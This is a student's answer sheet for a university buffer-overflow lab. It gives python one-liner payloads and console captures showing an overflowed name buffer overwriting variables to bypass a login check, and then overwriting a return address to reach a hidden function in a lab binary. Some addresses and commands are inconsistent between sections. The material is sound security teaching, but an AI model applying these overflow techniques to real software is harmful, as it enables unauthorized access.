

ITCS 461 Computer & Communication Security  
ID: 6388014 Name: Waris Damkham

Date : 19/02/2023  
Section : 2

Save this answer sheet as “**Lab5-63xxxxx.docx**” (Removing all figures will help reduce the file size).  
Submit this file to the lab folder in e-learning website according to your session.

---

## Lab 5 : Buffer Overflow

Follow Lab 5 document (Lab5.pdf) and answer these questions:

### **Part I: Preparation**

No question in this part.

### **Part II: Normal Run**

#### **Question 1:**

- 1) At the beginning of the program, what are these values?
  - 1) address of “a”: 0022FEBC
  - 2) value of “a”: in decimal 287454020, in hex 11223344
  - 3) address of “b”: 0022FEB8
  - 4) value of “b”: in decimal 1432778632, in hex 55667788
  - 5) address of “name”: 0022FDF0
  - 6) address of “secret\_function”: 00401505
- 2) What is the name you enter? Waris
- 3) Is the length of the name program printed out is the correct length? Y  
(Y/N)
- 4) At the end of the program, is there any value changed? N (Y/N)
- 5) If yes, what is changed? -

## Part III: Bypass Value Checking

### Question 2:

- 1) How long is the input string that starts to change value of variable “b”? 200
- 2) Capture the screen when “b” starts to change.

```
C:\Users\vagrant\Documents>python -c "print('B'*200 + '\xAB\xAA\xBB\xBA')";!Lab5.exe

-----BEFORE-----
a: address=0022FEBC value= 287454020 (hex=11223344)
b: address=0022FEB8 value=1432778632 (hex=55667788)
name: address=0022FDF0
secret_function: address=00401505
-----

ITCS461: Computer and Communication Security Lab 5
Enter your name: Hello ... 
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Your name's length = 204

Sorry, You are not allowed here.

-----AFTER-----
a: address=0022FEBC value= 287453952 (hex=11223300)
b: address=0022FEB8 value=-1162106197 (hex=babbaaab)
name: address=0022FDF0
secret_function: address=00401505
-----

C:\Users\vagrant\Documents>
```

- 3) How long is the input string that starts to change value of variable “a”? 204
- 4) Capture the screen when “a” starts to change.

```
C:\Users\vagrant\Documents>python -c "print('A'*204 + '\xAB\xAA\xBB\xBA')"!Lab5.exe

-----BEFORE-----
a: address=0022FEBC    value= 287454020 (hex=11223344)
b: address=0022FEB8    value=1432778632 (hex=55667788)
name: address=0022FDF0
secret_function: address=00401505
-----

ITCS461: Computer and Communication Security Lab 5
Enter your name: Hello ... 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Your name's length = 208

Sorry, You are not allowed here.

-----AFTER-----
a: address=0022FEBC    value=-1162106197 (hex=babbaaab)
b: address=0022FEB8    value=1094795585 (hex=41414141)
name: address=0022FDF0
secret_function: address=00401505
-----

C:\Users\vagrant\Documents>
```

- 5) What is your input string (or your python command) that can change variable “a” to 0xDEADC0DE? python -c "print('A'\*204 + '\xDE\xC0\xAD\xDE')"|Lab5.exe
- 6) Finally, capture the screen to show that you have bypass the value checking.

```
C:\Users\vagrant\Documents>python -c 'print('A'*204 + '\xDE\xC0\xAD\xDE')'|Lab5.exe
-----BEFORE-----
a: address=0022FEBC  value= 287454020 <hex=11223344>
b: address=0022FEB8  value=1432778632 <hex=55667788>
name: address=0022FDF0
secret_function: address=00401505
-----
ITCS461: Computer and Communication Security Lab 5
Enter your name: Hello ... 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Your name's length = 208
Congratulations! You are logged in.
-----AFTER-----
a: address=0022FEBC  value=-559038242 <hex=deadc0de>
b: address=0022FEB8  value=1094795585 <hex=41414141>
name: address=0022FDF0
secret_function: address=00401505
-----
C:\Users\vagrant\Documents>
```

## Part IV: Jump to Other Function

### Question 3:

- 1) What is “secret\_function” address? 00401505  
(This will be the value that we will use for overwriting.)
- 2) What is starting address of variable “name” 0022FDF0
- 3) How long of your input string that starts to make the program crashes? 220
- 4) Append your current input string with the address of “secret\_function” to overwrite the “return address” value. (hint: backwards, in hex)  
python -c "print('C'\*220 + '\x05\x15\x40\x00')"|Lab5.exe
- 5) Capture the screen when you manage to execute the “secret\_function”.

```

C:\ Command Prompt
-----BEFORE-----
    a: address=0022FEB8 value= 287454020 (hex=11223344)
    b: address=0022FEB8 value=1432778632 (hex=55667788)
name: address=0022FDFF
secret_function: address=00401505
-----
ITCS461: Computer and Communication Security Lab 5
Enter your name: Hello ... CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCC*
Your name's length = 223
Sorry, You are not allowed here.
-----AFTER-----
    a: address=0022FEB8 value=1128481603 (hex=43434343)
    b: address=0022FEB8 value=1128481603 (hex=43434343)
name: address=0022FDFF
secret_function: address=00401505
-----
*****
Congratulation!! You have access to the secret function.
*****
```

- 6) What would be address that stores “return address” value? (hint: counting bytes from the address of variable name)    0022FDCC

## Part V: Extra

Try the command given in the slide.

No question on this part, just have fun!